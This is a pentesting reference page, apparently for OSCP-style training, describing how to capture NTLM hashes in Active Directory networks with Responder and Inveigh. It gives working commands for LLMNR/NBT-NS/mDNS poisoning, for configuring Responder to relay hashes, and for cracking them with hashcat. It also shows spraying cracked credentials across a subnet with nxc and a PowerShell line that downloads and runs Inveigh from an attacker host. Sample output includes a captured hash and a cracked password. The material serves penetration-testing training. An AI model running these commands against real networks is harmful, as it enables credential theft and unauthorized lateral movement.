# Credential Capture with Responder

> Capture NTLM hashes by poisoning LLMNR/NBT-NS/mDNS traffic using Responder, enabling offline cracking or relay attacks against AD environments.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/ad-credential-capture-with-responder
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-06-09
- **Updated:** 2026-08-11

> [!WARNING]
> This tool is prohibited in the OSCP exam. Responder performs LLMNR/NBT-NS/NBNS spoofing, which is explicitly listed as a prohibited technique in the OSCP exam guide. Do not use during exam environments.

Windows hosts broadcast LLMNR and NBT-NS queries when DNS fails to resolve a hostname. Any host on the same network segment can respond to these broadcasts, prompting the requesting host to authenticate. Responder spoofs those responses and captures the resulting NetNTLMv2 hash.

Protocols Responder poisons:

- LLMNR: Link-Local Multicast Name Resolution, enabled by default on Windows
- NBT-NS: NetBIOS Name Service, legacy fallback after DNS and LLMNR
- mDNS: multicast DNS, used by some services for local discovery
- WPAD: Web Proxy Auto-Discovery, captures browser traffic credentials

Before starting, check [NTLM Relay Conditions](https://hackindex.io/platforms/active-directory/vulnerability-discovery/ntlm-relay-conditions): if SMB signing is absent on any targets, relay immediately rather than cracking. If signing is enforced everywhere, capture and crack.

## Responder capture mode

Run Responder on the interface facing the target subnet. WPAD (`-w`) and proxy auth (`-P`) capture additional hashes from browser traffic.

**Start Responder for hash capture**

```bash
# LLMNR + NBT-NS + mDNS + WPAD + proxy auth
responder -I eth0 -wP

# Verbose output: shows each incoming request
responder -I eth0 -wPv
# [+] Poisoners: LLMNR [ON]  NBT-NS [ON]  mDNS [ON]
# [SMB] NTLMv2-SSP Client   : 10.10.10.20
# [SMB] NTLMv2-SSP Username : CORP\jsmith
# [SMB] NTLMv2-SSP Hash     : jsmith::CORP:1a2b3c4d5e6f...:aabbcc...
```

Hashes accumulate in `/usr/share/responder/logs/`. Each protocol writes to its own file (`SMB-NTLMv2-SSP-*.txt`, `HTTP-NTLMv2-*.txt`, etc.).

## Relay mode: disable built-in servers

When forwarding captured hashes to ntlmrelayx, Responder's own SMB and HTTP servers must be off to avoid port conflicts. Edit `/usr/share/responder/Responder.conf` before starting.

**Configure Responder for relay operation**

```bash
# Disable Responder's SMB and HTTP servers
sed -i 's/SMB = On/SMB = Off/' /usr/share/responder/Responder.conf
sed -i 's/HTTP = On/HTTP = Off/' /usr/share/responder/Responder.conf

# Run Responder: poisoning only, no server conflicts
responder -I eth0 -wPv
```

With Responder poisoning and ntlmrelayx forwarding, proceed to [NTLM Relay in Active Directory](https://hackindex.io/platforms/active-directory/exploitation/ad-ntlm-relay).

## Crack captured hashes

NetNTLMv2 uses hashcat mode 5600. These hashes cannot be passed directly: crack to plaintext first.

**Crack with hashcat**

```bash
# Crack all captured NTLMv2 hashes
hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt /usr/share/wordlists/rockyou.txt

# With rules for common password mutation patterns
hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# jsmith::CORP:1a2b3c4d5e6f...: Password123!
```

After cracking, validate the credential against all hosts in the subnet. If the account has local admin rights anywhere, `--local-auth` confirms it across all machines: `nxc smb $TARGET_SUBNET/24 -u $USER -p $PASSWORD --local-auth`.

## Capture from a Windows host: Inveigh

Responder requires direct access to the network segment from a Linux attacker. From a compromised Windows host inside the target network, Inveigh provides the same LLMNR and NBT-NS poisoning without any additional tooling.

**Inveigh from a Windows shell**

```powershell
# Load Inveigh into memory
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/Inveigh.ps1')

# Start LLMNR, NBT-NS, and mDNS poisoning
Invoke-Inveigh -LLMNR Y -NBNS Y -mDNS Y -FileOutput Y

# Check captured hashes interactively
Get-InveighLog
# LLMNR request for DC01 received from 10.10.10.30
# CORP\administrator:NTLMv2 captured
```

Inveigh writes captures to `Inveigh-NTLMv2.txt` in the working directory when `-FileOutput Y` is set. Transfer the file back to Kali and crack with hashcat mode 5600.

## References

- [Responder: GitHub](https://github.com/lgandx/Responder) - LLMNR/NBT-NS/mDNS poisoning framework, hash log location and config reference
- [Inveigh: GitHub](https://github.com/Kevin-Robertson/Inveigh) - Windows-native LLMNR and NBT-NS poisoning for use from compromised hosts
- [NetExec (nxc): GitHub](https://github.com/Pennyw0rth/NetExec) - --local-auth flag for validating local admin credentials across subnet after hash cracking